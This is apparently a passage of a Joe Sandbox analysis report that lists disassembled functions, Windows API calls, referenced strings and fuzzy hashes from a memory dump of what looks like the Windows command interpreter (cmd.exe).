_get_osfhandle.MSVCRT ref: 00196BF7
DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00196C05

Part of subcall function 0019E950: memset.MSVCRT ref: 0019E9A0
Part of subcall function 0019E950: wcschr.MSVCRT ref: 0019E9FC
Part of subcall function 0019E950: wcschr.MSVCRT ref: 0019EA14
Part of subcall function 0019E950: _wcsicmp.MSVCRT ref: 0019EA80

??_V@YAXPAX@Z.MSVCRT(?), ref: 00196D8F
longjmp.MSVCRT(001D0A30,00000001), ref: 001AA6D8

Part of subcall function 0019A1A8: _dup.MSVCRT ref: 0019A1AF

Part of subcall function 0019A1D6: _dup2.MSVCRT ref: 0019A1EA

Part of subcall function 0019A16C: _close.MSVCRT ref: 0019A19B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heapwcschr$AllocDuplicateHandleProcess_close_dup_dup2_get_osfhandle_pipe_wcsicmplongjmpmemset
String ID:
API String ID: 1441200171-0
Opcode ID: fd5953b746bf6b08929ac76f0c5a45d9b0edf6f1a7ed84ad2a6e3b4a9afadf2d
Instruction ID: c5355a5b26595eb932e3e6d523a9ab70ba05aa333150926b06985c52587fabda
Opcode Fuzzy Hash: fd5953b746bf6b08929ac76f0c5a45d9b0edf6f1a7ed84ad2a6e3b4a9afadf2d
Instruction Fuzzy Hash: FA9191756002019FDF28EF24DC96B2A77E1EF99320F64852EE46AD7691DB30EC41CB91

Function 001A6B40 Relevance: 6.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,001A6C76,00191000), ref: 001A6B47
UnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(001A6C76,?,001A6C76,00191000), ref: 001A6B50
GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(C0000409,?,001A6C76,00191000), ref: 001A6B5B
TerminateProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000000,?,001A6C76,00191000), ref: 001A6B62

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 7f0715646e8406dba98ec8788405c4866e8f374249e096eabdfb60c4da765b38
Instruction ID: d83e6b6181725b8fde021a71eff2f0506bc3c53535f8d16e617b4f26c9848fc1
Opcode Fuzzy Hash: 7f0715646e8406dba98ec8788405c4866e8f374249e096eabdfb60c4da765b38
Instruction Fuzzy Hash: 01D0C972043104ABCB006BE2EC0CA493F29EF44352F804002F30DC2861CA3A54818B6B

Function 00199458 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 328threadprocessstringCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000001,00000000,00000020,001BC9D0,00000108,001A2107,?,00000000,00000000,00000000), ref: 001994AA
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000000,00060001,?,00000004,00000000,00000000,?,00000000,00000000,00000000), ref: 001994D9
memset.MSVCRT ref: 001994F1
memset.MSVCRT ref: 0019954A
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000044), ref: 0019955D

Part of subcall function 001A1D90: _wcsnicmp.MSVCRT ref: 001A1E14

lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(00000000,\XCOPY.EXE), ref: 001995B8
CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000001,00080000,00000000,?,?,?), ref: 00199602
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 00199624
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 001ABDF1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 001ABE0D
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000000), ref: 001ABE26

Strings

H, xrefs: 00199505
=ExitCodeAscii, xrefs: 001996D4
%08X, xrefs: 001996A6
D, xrefs: 00199552
=ExitCode, xrefs: 001996BC
COPYCMD, xrefs: 0019956F, 00199630
%01C, xrefs: 001ABFB6
\XCOPY.EXE, xrefs: 001995B2
, xrefs: 0019948D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AttributeProcThread$ErrorLastListmemset$CloseCreateDeleteHandleInfoInitializeProcessStartupUpdate_wcsnicmplstrcmp
String ID: $%01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$D$H$\XCOPY.EXE
API String ID: 1449572041-3461277227
Opcode ID: 5cd9e4809c567f2d9b898d4dc043c705066c946eda89042c6657c20e7e075ac0
Instruction ID: b4ec89dbb3bd68ab475d8867b31918f71c5940295e8a1250192ec8f8112797ca
Opcode Fuzzy Hash: 5cd9e4809c567f2d9b898d4dc043c705066c946eda89042c6657c20e7e075ac0
Instruction Fuzzy Hash: 6EC1BF75A053549FDF24DF688C85BAA7BB9EF55304F1044AEE60AD6281EB708D80CF62

Function 00194710 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 435fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00194781

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

_get_osfhandle.MSVCRT ref: 001947E4
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001), ref: 001947EC
_get_osfhandle.MSVCRT ref: 001947FD
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00194805

Part of subcall function 0019A16C: _close.MSVCRT ref: 0019A19B

_get_osfhandle.MSVCRT ref: 00194832
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001), ref: 0019483A
??_V@YAXPAX@Z.MSVCRT(?), ref: 00194871
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,?,00000000,?,?,00000000,?,-00000001), ref: 001A8120
memmove.MSVCRT(?,?,?), ref: 001A8191
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,00000000,?,00000000), ref: 001A8328
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001A832F

Part of subcall function 0019DD98: _get_osfhandle.MSVCRT ref: 0019DDA3
Part of subcall function 0019DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD

Strings

DPATH, xrefs: 001A80F5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$memset$ConsoleHandlePathPointerReadSearchSizeTypeWrite_closememmove
String ID: DPATH
API String ID: 2545859659-2010427443
Opcode ID: 4c03db9770e4e169076921815dd997a081cd8ea4ae89c0a810add954e5f22ae1
Instruction ID: 1991366b62180c0a055fa8bd7b35540d7cfa7e25754fde002cdfe9bf5e257350
Opcode Fuzzy Hash: 4c03db9770e4e169076921815dd997a081cd8ea4ae89c0a810add954e5f22ae1
Instruction Fuzzy Hash: DDF1EE75A093419FDB24DF24C848B6BBBE8FF89710F144A2EF48993290DB70D945CB92

Function 0019E0B0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 308COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0019E0CB
_wcsicmp.MSVCRT ref: 0019E0E6
_wcsicmp.MSVCRT ref: 0019E101
_wcsicmp.MSVCRT ref: 0019E11C
_wcsicmp.MSVCRT ref: 0019E137
_wcsicmp.MSVCRT ref: 0019E14E
_wcsicmp.MSVCRT ref: 001A2A25
_wcsicmp.MSVCRT ref: 001A2A82
_wcsicmp.MSVCRT ref: 001A2A98
_wcsicmp.MSVCRT ref: 001A2AAE
_wcsicmp.MSVCRT ref: 001A2AC4
iswspace.MSVCRT ref: 001A2AFC

Strings

REM, xrefs: 0019E132
FOR, xrefs: 0019E0C6
FOR/?, xrefs: 0019E0E1, 001A2A1E
REM/?, xrefs: 0019E149
IF/?, xrefs: 0019E117
=,;, xrefs: 001A2B12

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp$iswspace
String ID: =,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 759518647-875390083
Opcode ID: e684a43dd9ed902db4962341e3b9af2619bab4b798529cafea77be5b1ac765da
Instruction ID: 7b6a9b199f19a0d237555727bbafd750fd5d3f56795829a7f714a0099cea7c63
Opcode Fuzzy Hash: e684a43dd9ed902db4962341e3b9af2619bab4b798529cafea77be5b1ac765da
Instruction Fuzzy Hash: 35A1F1392453129BDF38AB69AC0AB3B33A4AF82714F54042FF543879D1DBF49881C766

Function 0019CF10 Relevance: 33.7, APIs: 15, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

_setjmp3.MSVCRT ref: 0019CF28
iswspace.MSVCRT ref: 0019CF6B
wcschr.MSVCRT ref: 0019CF8D
iswdigit.MSVCRT ref: 0019CFEE
iswspace.MSVCRT ref: 0019D0B6
wcschr.MSVCRT ref: 0019D0D7
iswdigit.MSVCRT ref: 0019D0E9
iswdigit.MSVCRT ref: 0019D16E

Strings

@, xrefs: 001AD508
()|&=,;", xrefs: 0019D256, 0019D487
Ungetting: '%s', xrefs: 001AD4C0
=,;, xrefs: 0019CF86, 0019CF8C, 0019D0D0, 0019D0D6, 0019D1CC, 0019D1D2, 0019D418

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: iswdigit$iswspacewcschr$_setjmp3
String ID: ()|&=,;"$=,;$@$Ungetting: '%s'
API String ID: 684130364-3872429996
Opcode ID: cf2b7f90f110eaf8a01e3fda28a5653bfaf9c352fe035874c85caba4db85227e
Instruction ID: 94941047751b872f0d6af4b157ba6d41e2358d7c144fd29a28b9fd2d383b9250
Opcode Fuzzy Hash: cf2b7f90f110eaf8a01e3fda28a5653bfaf9c352fe035874c85caba4db85227e
Instruction Fuzzy Hash: A4E124B2D012119BCF248F69F98577A7BA0BF25381F684137EC46D7291E334DE8187A6

Function 0019EC2E Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 139COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001BE590,00002000,?,001D8BF0,00000000,?,?,00198F0D), ref: 0019EC51
_wcsicmp.MSVCRT ref: 0019EC77
_wcsicmp.MSVCRT ref: 0019EC8D
_wcsicmp.MSVCRT ref: 0019ECA3
_wcsicmp.MSVCRT ref: 0019ECB9
_wcsicmp.MSVCRT ref: 0019ECCF
_wcsicmp.MSVCRT ref: 0019ECE5
_wcsicmp.MSVCRT ref: 0019ECF7
_wcsicmp.MSVCRT ref: 0019ED0D

Part of subcall function 00199310: GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,001BE590,?,00002000), ref: 00199342
Part of subcall function 00199310: SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00199356
Part of subcall function 00199310: FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 0019936A
Part of subcall function 00199310: FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 0019937E

Strings

RANDOM, xrefs: 0019ECF1
TIME, xrefs: 0019ECDF
HIGHESTNUMANODENUMBER, xrefs: 0019ED07
DATE, xrefs: 0019ECC9
CMDEXTVERSION, xrefs: 0019EC9D
CMDCMDLINE, xrefs: 0019ECB3
ERRORLEVEL, xrefs: 0019EC87

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp$Time$File$System$EnvironmentLocalVariable
String ID: CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 2447294730-2301591722
Opcode ID: c99c35732640353fa0ecea76ad6d6b77dce8e7ead053f1bc4a6cea128f4b8e34
Instruction ID: 7fd71489ceade89385f4f4a6ea1aa6a9d2a808fc8029a595dcda914e48e8bef9
Opcode Fuzzy Hash: c99c35732640353fa0ecea76ad6d6b77dce8e7ead053f1bc4a6cea128f4b8e34
Instruction Fuzzy Hash: 5031E73620A302BBEF18D775EC1EABB27DDFF46724B28441AF506D14D0EFA49540826B

Function 001B9C2E Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 250COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 001B9CC8
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,00000000,?), ref: 001B9D22
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 001B9D2A
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B9D3A
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B9D50
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 001B9D58
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B9D68
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B9D7C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 001B9DDB
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 001B9DE2
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,00000001,?), ref: 001B9DF2
towupper.MSVCRT ref: 001B9E13

Part of subcall function 0019A16C: _close.MSVCRT ref: 0019A19B

wcschr.MSVCRT ref: 001B9E6A
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 001B9E9B
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 001B9EA9

Part of subcall function 0019DD98: _get_osfhandle.MSVCRT ref: 0019DDA3
Part of subcall function 0019DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD

Strings

CMD.EXE, xrefs: 001B9EB9
<noalias>, xrefs: 001B9D8C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_close_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 2015057810-1690691951
Opcode ID: ac46d63a787d201c64c619777e7c003bb1f45bec2c660d8a6cae1c957fe13c85
Instruction ID: 3c21fab0cbbbffebc6a0aefb8d7d39f43634671ad5ee56aa87548291cd648278
Opcode Fuzzy Hash: ac46d63a787d201c64c619777e7c003bb1f45bec2c660d8a6cae1c957fe13c85
Instruction Fuzzy Hash: C581E472A01214ABCF14DFB4DC45AEEBBB9AF49720F14412AF902E7290EB759D42C761

Function 0019790C Relevance: 28.7, APIs: 19, Instructions: 208COMMON

Download Yara Rule

APIs

Part of subcall function 00199A11: _get_osfhandle.MSVCRT ref: 00199A1C
Part of subcall function 00199A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0019793A,00000104,?), ref: 00199A2B
Part of subcall function 00199A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A47
Part of subcall function 00199A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A56
Part of subcall function 00199A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A61
Part of subcall function 00199A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A6A

_get_osfhandle.MSVCRT ref: 00197943
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00197951
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,001D0AF0,000000A0,00000000,00000000,00000000,?,00000104,?), ref: 001979BE
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,00000104,?), ref: 00197A1C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00197A27

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$ErrorLastLockShared_get_osfhandle$AcquireBufferFileHandleInfoModeReleaseScreenTypeWrite
String ID:
API String ID: 2173784998-0
Opcode ID: 619dbfcefc10d08104eb7091475a98ab1497b8a402055c295543343f652fad43
Instruction ID: b31df52329832b273826d5eb6ccf727c014b4874c23d86f7986bdbd73bdb47b2
Opcode Fuzzy Hash: 619dbfcefc10d08104eb7091475a98ab1497b8a402055c295543343f652fad43
Instruction Fuzzy Hash: F8718075D02214AFDF14DFA5EC88ABEBBB9FF44311F54442AF806E6590DB349880CB51

Function 001B2859 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 165windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,?,00000400,?,00000100,00000000,?,?,?), ref: 001B2931
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 001B2998

Strings

, xrefs: 001B29CC
%hs!%p: , xrefs: 001B2963
FailFast, xrefs: 001B28DF
[%hs(%hs)], xrefs: 001B2A17
Exception, xrefs: 001B2903
ReturnHr, xrefs: 001B28F7
Msg:[%ws] , xrefs: 001B29E4
%hs(%d) tid(%x) %08X %ws, xrefs: 001B29A8
CallContext:[%hs] , xrefs: 001B29FC
LogHr, xrefs: 001B28EB
(caller: %p) , xrefs: 001B297D
[%hs], xrefs: 001B2A31
%hs(%u)\%hs!%p: , xrefs: 001B2952

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: 5eabf1c2967e77317c54ee903dcccafb3da377eaf1e1397235164eed63b74881
Instruction ID: cf84d7401708911c5a3292d86939f4954a991e1bf4924d14f04e2d4694be2c9b
Opcode Fuzzy Hash: 5eabf1c2967e77317c54ee903dcccafb3da377eaf1e1397235164eed63b74881
Instruction Fuzzy Hash: 70512471900314EBDF316F288C09EABB7F8EF58B04F00455DF56AA2561D771DA98DB21

Function 001A0590 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 181fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,001AB7DB,0000000C,00000004,00000080,00000000), ref: 001A05FF
_open_osfhandle.MSVCRT ref: 001A0613
_wcsicmp.MSVCRT ref: 001A0663
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,00000003,0000000C,00000003,00000080,00000000,?,?), ref: 001A0695
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?), ref: 001A06D3
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 001A06FB
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000001,?,00000000), ref: 001A0717
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 001AE89D

Strings

con, xrefs: 001A0658

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$CreatePointer$ReadSize_open_osfhandle_wcsicmp
String ID: con
API String ID: 58404892-4257191772
Opcode ID: 781534bbccd306dd9455689bc694ab81119e3e6c3fda03a151fd1cb13ba12f77
Instruction ID: 5a2f28d3559d2e694fb223a2ac6dbcf9f9fb088787a3446b4a5b13a8d7991b63
Opcode Fuzzy Hash: 781534bbccd306dd9455689bc694ab81119e3e6c3fda03a151fd1cb13ba12f77
Instruction Fuzzy Hash: F5512874A01204AFDB11CFA4DC49FBEB7B8EF4A724F60422AF825E31D0D77589518B61

Function 001BC5F2 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BC62E
memset.MSVCRT ref: 001BC656

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 001BC6C7
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 001BC6E6
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 001BC72A
_wcsicmp.MSVCRT ref: 001BC747
_wcsicmp.MSVCRT ref: 001BC76C
_wcsicmp.MSVCRT ref: 001BC794
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,00000001,00000000,00000000), ref: 001BC7B3
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,00000001,00000000,00000000), ref: 001BC7C5

Strings

REFS, xrefs: 001BC766
NTFS, xrefs: 001BC741
CSVFS, xrefs: 001BC78E

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: d648434201b32f5aa6c73d4bee2e244b798419eda3d4705cb1631e2aa7e6f54a
Instruction ID: 15b83991ae61af5357b4c4616919d7eab681bbe6ddf00e70aed0986a9d992faf
Opcode Fuzzy Hash: d648434201b32f5aa6c73d4bee2e244b798419eda3d4705cb1631e2aa7e6f54a
Instruction Fuzzy Hash: E55120B1A012196BDB20DAA9DC89AEBBBB8EF55344F4400AAF505D3140EB74DE84CF65

